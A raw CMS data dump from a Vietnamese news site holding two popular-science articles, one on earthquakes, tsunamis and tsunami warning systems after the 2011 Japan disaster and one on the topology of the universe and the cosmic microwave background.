Trận động đất cường độ 9 độ Richter xảy ra ngoài khơi vùng biển Đông Bắc Nhật Bản ngày 11/3/2011 và đợt sóng thần tiếp theo đó đã gây ra những thiệt hại nghiêm trọng cho đất nước Nhật Bản. Để có một khái niệm về cường độ năng lượng giải phóng, ta có thể nói là quả bom hạt nhân ném xuống Hiroshima năm 1945 chỉ tương đương với một trận động đất 5,7 độ Richter.</div>
<div>
<br />
<strong>Động đất</strong></div>
<div>
<br />
Trận động đất vừa qua ở Nhật Bản gây nhiều thiệt hại do các xung động của chính nó hay của các dư chấn mà cường độ có thể lên đến 6 độ Richter. Những thiệt hại về tài sản trên các công trình xây dựng đều rất lớn, đó là chưa kể đến thảm hoạ hạt nhân, mặc dù được hạn chế đến mức tối đa, xảy ra khi lò phản ứng Fukushima 1 bị nóng chảy tâm lò sau sự cố LOCA (mất nước làm lạnh) và gian lò bị nổ. Năm 2007, một trận động đất gây ảnh hưởng đến nhà máy điện hạt nhân Kashiwazaki-Kariwa lớn nhất ở Nhật Bản, nhưng may là người ta đã ngừng lò kịp.</div>
<div>
</div>
<div>
Trong lịch sử thế giới, các trận động đất lớn đã gây tử vong cho khoảng 6,5 triệu người, chủ yếu là ở Trung Quốc (3 triệu) và Trung Đông (1,5 triệu). Bảng 1 liệt kê 10 trận động đất lớn nhất trong thế kỷ 20 và số tử vong chúng gây ra. Trong trường hợp trận động đất ở Sumatra-Andaman năm 2004, số tử vong cao là hậu quả của đợt sóng thần lan đến nhiều nước trong vùng Ấn Độ dương. Số tử vong ở Haiti năm 2010 lên rất cao vì đây là một nước nghèo, các điều kiện bảo vệ và chống động đất quá yếu kém. Trận động đất ở Nhật Bản lần này, theo nhiều chuyên gia, có thể được xem là trận lớn thứ 5 trong lịch sử.</div>
<div>
<br />
Bảng 1 Mười trận động đất lớn nhất trong thế kỷ 20</div>
<div>
</div>
<div>
Năm Địa điểm Cường độ Số tử vong</div>
<div>
</div>
<div>
2010 Haiti 7 200.000-300.000</div>
<div>
2004 Sumatra-Andaman 9,3 283.100</div>
<div>
1976 Đường Sơn (Trung Quốc) 7,5 255.000</div>
<div>
1920 Hải Nguyên (Trung Quốc) 7,8 200.000</div>
<div>
1923 Kanto (Nhật Bản) 7,9 142.800</div>
<div>
1948 Ashgabat (Turkmenistan) 7,3 110.000</div>
<div>
2005 Pakistan 7,6 86.000</div>
<div>
1908 Messina (Ý) 7,2 72.000</div>
<div>
1970 Chimbote (Pêru) 7,9 70.000</div>
<div>
1990 Iran 7,4 40.000-50.000</div>
<div>
</div>
<div>
Động đất liên quan đến các mảng kiến tạo của Trái Đất và chúng xảy ra ở những nơi các mảng này tiếp xúc với nhau, ở đây có những chuyển động của vỏ Trái Đất. Nếu một mảng kiến tạo chui xuống dưới một mảng khác thì ta có hiện tượng hút chìm-nơi tích tụ nhiều năng lượng của các lực căng chỉ đợi được giải phóng ra bằng các trận động đất. Trên thế giới, người ta biết là có đến 4000 km biên giới của các vùng hút chìm và Nhật Bản nằm trên một vùng hút chìm quan trọng, nơi mảng kiến tạo Thái Bình Dương đang chìm xuống dưới nước Nhật. Tiêu điểm của trận động đất (chấn tiêu) thường nằm sâu dưới mặt đất. Từ đấy các sóng địa chấn được truyền đi và các máy ghi địa chấn có thể xác định vị trí của chấn tiêu cũng như của tâm chấn ngoài, tức là điểm trên mặt đất nằm ngay trên chấn tiêu. Trên hình 1, ta có bản đồ các trận động đất gần đây nhất đã được Cục Khảo sát Địa chất Mỹ (USGS) vẽ ngày 27 tháng 1-2011. Các địa điểm động đất đều nằm trên các đường nứt gãy có liên quan đến các mảng kiến tạo. Ta cũng thấy là USGS có ghi trận động đất xảy ra tháng 11/2007 có cường độ 4,5-5 độ Richter ngoài khơi Vũng Tàu trên đới đứt gãy dọc bờ biển miền Nam Trung Bộ.</div>
<div>
</div>
<div>
<br />
<img alt="" src="/admin/webroot/upload/image/images/tho nhan 1inter.jpg" style="width: 480px; height: 246px;" /><br />
</div>
<div>
Hình 1 Bản đồ các trận động đất trên thế giới (USGS, IRIS)</div>
<div>
</div>
<div>
</div>
<div>
Các trận động đất thường chỉ kéo dài vài giây đồng hồ nhưng cũng đủ để gây ra những thiệt hại vô cùng lớn. Trận động đất năm 2004 ở Sumatra kéo dài đến 9 phút, trong khi trận động đất vừa qua ở Nhật Bản kéo dài 2 phút.</div>
<div>
</div>
<div>
<strong>Sóng thần</strong></div>
<div>
<br />
Nếu động đất xảy ra trong đất liền thì ít có khả năng có sóng thần đi kèm theo trừ khi các biển nội địa hay các hồ nước lớn bị tác động bởi những dịch chuyển của đất đá dưới mặt nước. Nhưng khi động đất xảy ra ngoài biển và có cường độ hơn 6,5 độ Richter thì có thể sinh ra sóng thần có sức tàn phá rất lớn như chúng ta thấy tại Nhật vừa qua hay ở các nước Nam Á năm 2004. Các đợt sóng thần mang theo lượng năng lượng khổng lồ vì chúng do những khối lượng nước rất lớn tạo ra sau khi có một trận động đất bất thình lình dịch chuyển một diện tích đáy biển hàng nghìn cây số vuông chỉ trong vài giây đồng hồ rồi truyền năng lượng thẳng lên bề mặt.</div>
<div>
</div>
<div>
Sóng thần có thể gây ra do lở đất dưới biển hoặc do các trường hợp hiếm gặp hơn như phun trào núi lửa hay phun trào dung nham dưới nước. Nó cũng có thể có nguồn gốc từ một vụ va chạm của một hành tinh nhỏ khi rơi xuống đáy đại dương. Ngày 18/11/1927, một trận động đất M7,2 ở 300 km phía nam Newfoundland (Bắc Canada) đã gây ra một vụ lở đất dưới biển làm dịch chuyển 200 km3 đất và vụ lở đất ở Storegga ngoài khơi Na Uy 79.000 năm trước đây làm cho 1000 km3 trầm tích biển sụp đổ. Ngày 26/12/2004, trận động đất M9 ngoài khơi Sumatra (Indonesia) đã nâng một dải đáy biển dài 1200 km lên cao 8 m, chấn tiêu của nó nằm dưới sâu 30 km.</div>
<div>
</div>
<div>
Lực duy trì sóng trong cột nước biển sau khi đáy biển bị nhiễu loạn là lực trọng trường. Sức mạnh của nó tuỳ thuộc vào cường độ của nhiễu loạn ban đầu, khoảng cách di chuyển của sóng, hình thái mặt đáy biển, khả năng các lớp đất đá hấp thụ hết năng lượng cũng như hình dáng bờ biển. Tốc độ di chuyển của sóng có thể lên đến vài trăm cây số một giờ và sóng thần có thể vượt qua hàng nghìn cây số đại dương trong vài tiếng đồng hồ. Bước sóng của nó - khoảng cách giữa hai làn sóng nối tiếp nhau - có thể là vài trăm cây số. Ngoài biển khơi, sóng thần rất khó phát hiện và chiều cao của sóng chỉ là vài chục cm gần nơi xảy ra nhiễu loạn. Các vệ tinh như Topex-Poseidon hay ERS-1 đã có thể đo độ cao sóng biển với độ chính xác vài cm. Tuy nhiên, cũng như các loại sóng khác, khi chúng tiến vào các vùng nước cạn gần bờ, nhiều thay đổi sẽ xảy ra, bước sóng rút xuống còn từ 10 đến 20 km, khi nước có tốc độ cao đến đẩy các luồng sóng đi trước, chiều cao của chúng tăng lên, đôi khi đạt đến vài chục mét và tiến sâu vào đất liền, tàn phá những vùng đất thấp dọc bờ biển. Sóng thần ở Sendai, Nhật Bản hôm 11/3 vừa qua cao đến 10 mét. Năm 1755, tiếp theo một trận động đất M9, đợt sóng thần ở Lisbon (Bồ Đào Nha) có độ cao trên 30 mét và năm 1883, sóng thần do hoạt động núi lửa Krakatoa ở Indonesia gây ra có độ cao lên đến 40 mét. Năm 1737, một trận động đất gần bán đảo Kamchatka gây nên một đợt sóng thần cao 50 mét khi chúng tiến đến đảo Kurile.</div>
<div>
</div>
<div>
Những vùng nhạy cảm nhất đối với sóng thần nằm dọc bờ biển Thái Bình Dương, ở đây có đến 85% toàn bộ các đợt sóng thần do động đất gây ra vì đại dương rất rộng và có nhiều hoạt động địa chấn và núi lửa của mảng kiến tạo Thái Bình Dương. Theo ước tính, trong thế kỷ 20 vừa qua có chừng 50.000 người tử vong do khoảng 400 đợt sóng thần gây ra. Bước vào thế kỷ 21, đợt sóng thần Sumatra-Andaman cuối năm 2004 đã làm 230.000 người chết chỉ trong vòng vài tiếng đồng hồ và có đến hàng triệu người bị mất nhà cửa. Bảng 2 liệt kê 10 đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử, các số liệu ở các thế kỷ 18-19 chỉ có một độ chính xác tương đối.</div>
<div>
</div>
<div>
<strong>Bảng 2 Những đợt sóng thần gây nhiều thiệt hại nhất trong lịch sử</strong></div>
<div>
</div>
<div>
Số nạn nhân Năm Địa điểm</div>
<div>
230.000 2004 Sumatra-Andaman (Indonesia)</div>
<div>
60.000 1755 Lisbon (Bồ Đào Nha)</div>
<div>
40.000 1782 Đài Loan</div>
<div>
36.500 1883 Krakatoa (Indonesia)</div>
<div>
30.000 1701 Tokaido-Nankaido (Nhật Bản)</div>
<div>
26.360 1896 Sanriku (Nhật Bản)</div>
<div>
25.674 1868 Bắc Chi Lê</div>
<div>
15.030 1792 Kyushu (Nhật Bản)</div>
<div>
13.481 1771 Ryukyu (Nhật Bản)</div>
<div>
8.000 1976 Vịnh Moro (Philippin)</div>
<div>
</div>
<div>
<strong>Dự báo sóng thần và các phương pháp tiếp cận giảm thiểu tác hại</strong></div>
<div>
<br />
Sóng thần được hiểu rõ hơn động đất nhưng đối với các sóng thần do động đất gây ra, việc dự báo dài hạn cũng rất khó. Mặt khác, nguyên tắc dự báo ngắn hạn thì tương đối đơn giản, ít ra cũng trên mặt lý thuyết: thu thập các thông tin về biến dạng của đáy biển trong các đại dương rồi truyền theo thời gian thật đến các chuyên gia ở các trung tâm chuyên trách để tính cường độ của hiểm hoạ và lấy quyết định sơ tán vùng bị đe doạ. Đối với các sóng thần vượt đại dương, người ta có thể có khoảng thời gian nhiều giờ giữa trận động đất và lúc sóng thần ập đến. Vị trí và quy mô của trận động đất có thể được xác định nhanh chóng và chính xác nhờ các quan trắc địa chấn và sự hình thành cũng như sự lan truyền của sóng thần có thể được xác nhận bởi các hệ thống quan sát mực nước biển ngoài khơi như các cảm biến đo áp suất đặt dưới đáy biển. Khoảng 10 phút giữa chấn động đầu tiên và lúc các luồng sóng gây chết người ập đến cũng đủ để người dân chạy thoát khỏi các vùng nguy hiểm, cứu được hàng trăm nghìn nhân mạng và cả tài sản của họ.<br />
</div>
<div>
<span style="display: none;"> </span><img alt="" src="/admin/webroot/upload/image/images/Tho Nhan 2inter.jpg" style="width: 480px; height: 308px;" /><span style="display: none;"> </span></div>
<div>
</div>
<div>
</div>
<div>
Hình 2 Bản đồ các trạm DART tại khu vực Thái Bình Dương</div>
<div>
</div>
<div>
</div>
<div>
Một loạt trạm cảnh báo đặt chung quanh Thái Bình Dương để đo bất kỳ một hoạt động bất thường nào của thuỷ triều hay sóng biển tiếp theo một sự kiện địa chấn. Hệ thống Cảnh báo Đánh giá Sóng thần ngoài Biển khơi (DART, Deep Ocean Assessment Reporting of Tsunami) đã được đặt ở Thái Bình Dương, dọc vùng hút chìm Alaska, nơi phát sinh nguy hiểm của các đợt sóng thần trên bờ biển phía Tây nước Mỹ và Hawaii cũng như đối với các nước khác ven bờ Thái Bình Dương. Trên hình 2, ta có hệ thống các trạm DART đã có (6 trạm) và gần 40 trạm đã lên kế hoạch xây dựng tiếp theo thảm hoạ sóng thần Sumatra-Andaman năm 2004. Mỗi trạm gồm một địa chấn kế, máy đo áp lực của sóng trên đáy biển, các cột mộc thuỷ triều và các hệ thống truyền tín hiệu đến các nhà khoa học để đánh giá tính nguy hiểm của chúng. Ở Nhật, cảnh báo sóng thần được truyền đi chỉ từ 2 đến 5 phút sau động đất rồi chuyển đến dân cư vùng biển nhờ các phương tiện truyền thông.</div>
<div>
</div>
<div>
Người dân Nhật được giáo dục kỹ về các hiểm họa của sóng thần và cách ứng xử khi nhận được cảnh báo nhờ thế mà số thương vong có thể được giảm đi rất nhiều. Các hướng dẫn về những điều phải làm sau cảnh báo sóng thần đầu tiên do cơ quan khí tượng Nhật Bản phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div>
<div>
</div>
<div>
<strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div>
<div>
</div>
<div>
1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div>
<div>
2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div>
<div>
3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div>
<div>
4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div>
<div>
5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div>
<div>
</div>
<div>
(Cơ quan Khí tượng Nhật Bản)</div>
',
'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-20',
'modified' => '2025-08-18',
'status' => '1',
'view' => '70070',
'slug' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '717',
'rght' => '718',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Post' => array(
'id' => '413',
'name' => 'Topo của vũ trụ',
'code' => null,
'alias' => 'topo-cua-vu-tru',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div>
<div>
<br />
<strong>Topo (topology) là gì?</strong></div>
<div>
</div>
<div>
Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div>
<div>
</div>
<div>
Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br />
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div>
<div>
</div>
<div>
Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div>
<div>
</div>
<div>
Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div>
<div>
</div>
<div>
Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div>
<div>
</div>
<div>
<strong>Hình học và topo</strong></div>
<div>
</div>
<div>
Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div>
<div>
</div>
<div>
Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div>
<div>
</div>
<div>
Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div>
<div>
</div>
<div>
Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div>
<div>
</div>
<div>
ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div>
<div>
1 - kr2</div>
<div>
</div>
<div>
trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div>
<div>
</div>
<div>
Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div>
<div>
</div>
<div>
Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div>
<div>
</div>
<div>
Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div>
<div>
</div>
<div>
Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div>
<div>
</div>
<div>
Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div>
<div>
</div>
<div>
Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div>
<div>
</div>
<div>
Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div>
<div>
</div>
<div>
Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div>
<div>
</div>
<div>
Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 5.</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div>
<div>
</div>
<div>
Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div>
<div>
</div>
<div>
Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div>
<div>
</div>
<div>
<strong>Tạo một hình </strong></div>
<div>
</div>
<div>
Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div>
<div>
</div>
<div>
Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div>
<div>
</div>
<div>
Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div>
<div>
</div>
<div>
Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div>
<div>
</div>
<div>
Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div>
<div>
</div>
<div>
Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div>
<div>
</div>
<div>
Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div>
<div>
</div>
<div>
Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div>
<div>
</div>
<div>
Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div>
<div>
</div>
<div>
Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div>
<div>
</div>
<div>
Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div>
<div>
</div>
<div>
Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div>
<div>
</div>
<div>
Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div>
<div>
</div>
<div>
Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div>
<div>
</div>
<div>
<strong>Một vài chi tiết toán học</strong></div>
<div>
</div>
<div>
Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả dĩ. </div>
<div>
</div>
<div>
M= Mc / G</div>
<div>
</div>
<div>
Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div>
<div>
</div>
<div>
Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div>
<div>
</div>
<div>
Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div>
<div>
</div>
<div>
Hình 8.Cư dân trong FD và trong không gian phủ</div>
<div>
</div>
<div>
Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div>
<div>
</div>
<div>
Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div>
<div>
</div>
<div>
Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div>
<div>
</div>
<div>
<strong>Topo và CMB</strong></div>
<div>
</div>
<div>
Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div>
<div>
</div>
<div>
CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div>
<div>
<br />
<img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div>
<div>
</div>
<div>
Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div>
<div>
</div>
<div>
Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div>
<div>
</div>
<div>
Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div>
<div>
</div>
<div>
(1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div>
<div>
</div>
<div>
(2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div>
<div>
</div>
<div>
(3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div>
<div>
</div>
<div>
<strong>Kết luận</strong></div>
<div>
</div>
<div>
Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div>
<div>
</div>
<div>
Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div>
<div>
----------------</div>
<div>
Tài liệu tham khảo và chú thích</div>
<div>
</div>
<div>
[1] Mark Baltovic, The topology of the Universe </div>
<div>
</div>
<div>
[2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div>
<div>
</div>
<div>
[3] Jean-Pierre Luminet, Is the Universe crumpled?</div>
<div>
</div>
<div>
[4] Janna Levin, Topology and the Cosmic Microwave Background,</div>
